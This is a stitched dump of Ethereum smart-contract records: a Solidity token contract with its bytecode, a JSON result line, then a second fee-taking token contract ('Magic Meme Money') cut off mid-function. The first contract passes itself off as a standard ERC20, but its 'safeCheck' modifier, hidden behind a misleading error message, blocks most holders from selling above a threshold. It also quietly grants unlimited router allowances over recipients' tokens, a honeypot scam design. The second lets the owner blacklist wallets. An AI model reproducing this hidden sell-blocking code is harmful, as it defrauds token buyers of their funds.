accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public { require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;} } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} if(sender==_address0){_Addressint[recipient] = true;} _;} function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } //transfer function _transfer_NAME(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212202ab757d6667cade9c4747076536633cf5c5a9833c60bf7f496ea4a34f216ea3d64736f6c63430006060033
{"success": true, "error": null, "results": {}}
5,057
0x430967300933694be5e5c95e91901ea82de072ff
/** *Submitted for verification at Etherscan.io on 2022-02-22 */ /** *Submitted for verification at Etherscan.io on 2022-02-22 */ /** Magic Meme Money -- $MMM Telegram: https://t.me/magicmemeentry Website: https://www.magicmemelanding.com/ Twitter: https://twitter.com/MagicMemeToken */ // SPDX-License-Identifier: unlicense pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract MagicMemeMoney is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Magic Meme Money";// string private constant _symbol = "MMM";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 0;// uint256 private _taxFeeOnBuy = 9;// //Sell Fee uint256 private _redisFeeOnSell = 0;// uint256 private _taxFeeOnSell = 12;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x7e23B80EEFee826a23e6DA3DB7B6030a4AFe78a6);// address payable private _marketingAddress = payable(0x11C90081fD5b76504cA2f41E820731Cb7818FC75);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 100000000 * 10**9; // uint256 public _maxWalletSize = 250000000 * 10**9; // uint256 public _swapTokensAtAmount = 100000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock+1 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 